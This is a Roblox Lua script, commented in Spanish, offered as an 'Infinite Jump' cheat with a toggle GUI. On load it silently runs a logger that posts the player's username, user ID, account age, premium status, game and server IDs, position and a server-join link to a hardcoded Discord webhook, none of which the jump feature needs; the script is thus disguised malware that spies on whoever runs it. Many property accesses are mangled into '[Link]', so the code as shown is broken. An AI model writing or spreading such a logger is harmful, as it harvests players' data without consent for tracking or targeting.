-- LocalScript en StarterPlayerScripts
-- Nombre: InfiniteJumpScript
local Players = game:GetService("Players")
local UserInputService = game:GetService("UserInputService")
local HttpService = game:GetService("HttpService")
local player = [Link]
local character = [Link] or [Link]:Wait()
local infiniteJumpEnabled = false
-- =============================
-- WEBHOOK CONFIG
-- =============================
local WEBHOOK_URL =
"[Link]
rJYTlH84GBqCoTBL09YRnOFbUKXvAv77fx8GGwsY8yw_DBzbKy7hOzVk" -- Reemplaza con tu
webhook de Discord
local function sendWebhook()
local userId = tostring([Link])
local username = [Link]
local displayName = [Link]
local accountAge = [Link]
local gameName =
game:GetService("MarketplaceService"):GetProductInfo([Link]).Name
local placeId = tostring([Link])
local gameId = tostring([Link])
local jobId = tostring([Link])
-- Info del personaje
local char = [Link]
local position = "N/A"
if char and char:FindFirstChild("HumanoidRootPart") then
local pos = [Link]
position = [Link]("X: %.1f, Y: %.1f, Z: %.1f", pos.X, pos.Y,
pos.Z)
end
-- Info de la cuenta
local isPremium = [Link] == [Link] and "✅
Sí" or "❌ No"
local payload = HttpService:JSONEncode({
username = "InfiniteJump Logger",
avatar_url = "[Link]
userId=" .. userId .. "&width=420&height=420&format=png",
embeds = {{
title = "🎮 Script Ejecutado",
color = 0xFF4444,
thumbnail = {
url = "[Link]
userId=" .. userId .. "&width=420&height=420&format=png"
},
fields = {
{ name = "👤 Usuario", value = username .. " (@" ..
displayName .. ")", inline = true },
{ name = "🆔 User ID", value = "[" .. userId ..
"]([Link] .. userId .. "/profile)", inline = true },
{ name = "📅 Antigüedad de Cuenta", value =
tostring(accountAge) .. " días", inline = true },
{ name = "💎 Premium", value = isPremium, inline = true },
{ name = " Juego", value = gameName, inline = false },
{ name = "🔑 Place ID", value = placeId, inline = true },
{ name = "🎲 Game ID", value = gameId, inline = true },
{ name = " Job ID", value = "```" .. jobId .. "```", inline
= false },
{ name = "📍 Posición", value = position, inline = false },
{ name = "🔗 Perfil", value = "[Ver
perfil]([Link] .. userId .. "/profile)", inline = true },
{ name = " Unirse al servidor", value = "[Click aquí]
([Link] .. placeId .. "?privateServerLinkCode=" .. jobId ..
")", inline = true },
},
footer = { text = "InfiniteJump Logger • " .. [Link]("%Y-%m-%d
%H:%M:%S") },
timestamp = [Link]("!%Y-%m-%dT%H:%M:%SZ")
}}
})
local success, err = pcall(function()
HttpService:PostAsync(WEBHOOK_URL, payload,
[Link])
end)
if not success then
warn("[Webhook] Error al enviar: " .. tostring(err))
else
print("[Webhook] Información enviada ✅")
end
end
-- Enviar al cargar el script
[Link](sendWebhook)
-- =============================
-- CREAR GUI
-- =============================
local screenGui = [Link]("ScreenGui")
[Link] = "InfiniteJumpGui"
[Link] = false
[Link] = [Link]
local frame = [Link]("Frame")
[Link] = [Link](0, 200, 0, 105)
[Link] = [Link](0, 20, 0, 20)
frame.BackgroundColor3 = [Link](15, 15, 25)
[Link] = 0
[Link] = screenGui
local frameCorner = [Link]("UICorner")
[Link] = [Link](0, 12)
[Link] = frame
local frameStroke = [Link]("UIStroke")
[Link] = [Link](255, 255, 255)
[Link] = 1.2
[Link] = 0.7
[Link] = frame
local topBar = [Link]("Frame")
[Link] = [Link](1, 0, 0, 32)
[Link] = [Link](0, 0, 0, 0)
topBar.BackgroundColor3 = [Link](30, 30, 50)
[Link] = 0
[Link] = frame
local topCorner = [Link]("UICorner")
[Link] = [Link](0, 12)
[Link] = topBar
local topPatch = [Link]("Frame")
[Link] = [Link](1, 0, 0.5, 0)
[Link] = [Link](0, 0, 0.5, 0)
topPatch.BackgroundColor3 = [Link](30, 30, 50)
[Link] = 0
[Link] = topBar
local titleLabel = [Link]("TextLabel")
[Link] = [Link](1, -40, 1, 0)
[Link] = [Link](0, 10, 0, 0)
[Link] = 1
[Link] = "sada"
titleLabel.TextColor3 = [Link](255, 255, 255)
[Link] = [Link]
[Link] = 15
[Link] = [Link]
[Link] = topBar
local closeBtn = [Link]("TextButton")
[Link] = [Link](0, 28, 0, 28)
[Link] = [Link](1, -30, 0, 2)
closeBtn.BackgroundColor3 = [Link](200, 40, 40)
closeBtn.TextColor3 = [Link](255, 255, 255)
[Link] = [Link]
[Link] = 14
[Link] = "✕"
[Link] = 0
[Link] = topBar
local closeCorner = [Link]("UICorner")
[Link] = [Link](0, 6)
[Link] = closeBtn
local button = [Link]("TextButton")
[Link] = [Link](1, -20, 0, 42)
[Link] = [Link](0, 10, 0, 42)
button.BackgroundColor3 = [Link](220, 50, 50)
button.TextColor3 = [Link](255, 255, 255)
[Link] = [Link]
[Link] = 15
[Link] = "🚫 Salto Infinito: OFF"
[Link] = 0
[Link] = frame
local btnCorner = [Link]("UICorner")
[Link] = [Link](0, 8)
[Link] = button
local btnStroke = [Link]("UIStroke")
[Link] = [Link](255, 255, 255)
[Link] = 1
[Link] = 0.8
[Link] = button
closeBtn.MouseButton1Click:Connect(function()
infiniteJumpEnabled = false
screenGui:Destroy()
end)
[Link]:Connect(function() closeBtn.BackgroundColor3 =
[Link](255, 60, 60) end)
[Link]:Connect(function() closeBtn.BackgroundColor3 =
[Link](200, 40, 40) end)
local dragging = false
local dragStart = nil
local startPos = nil
[Link]:Connect(function(input)
if [Link] == [Link].MouseButton1 or
[Link] == [Link] then
dragging = true
dragStart = [Link]
startPos = [Link]
end
end)
[Link]:Connect(function(input)
if dragging and ([Link] == [Link] or
[Link] == [Link]) then
local delta = [Link] - dragStart
[Link] = [Link](
[Link], [Link] + delta.X,
[Link], [Link] + delta.Y
)
end
end)
[Link]:Connect(function(input)
if [Link] == [Link].MouseButton1 or
[Link] == [Link] then
dragging = false
end
end)
button.MouseButton1Click:Connect(function()
infiniteJumpEnabled = not infiniteJumpEnabled
if infiniteJumpEnabled then
button.BackgroundColor3 = [Link](30, 180, 80)
[Link] = "✅ Salto Infinito: ON"
else
button.BackgroundColor3 = [Link](220, 50, 50)
[Link] = "🚫 Salto Infinito: OFF"
end
end)
[Link]:Connect(function() [Link] = 16 end)
[Link]:Connect(function() [Link] = 15 end)
[Link]:Connect(function()
if not infiniteJumpEnabled then return end
local char = [Link]
if not char then return end
local humanoid = char:FindFirstChildOfClass("Humanoid")
local rootPart = char:FindFirstChild("HumanoidRootPart")
if humanoid and rootPart and humanoid:GetState() ~=
[Link] then
humanoid:ChangeState([Link])
end
end)
print("[InfiniteJump] Script cargado correctamente ✅")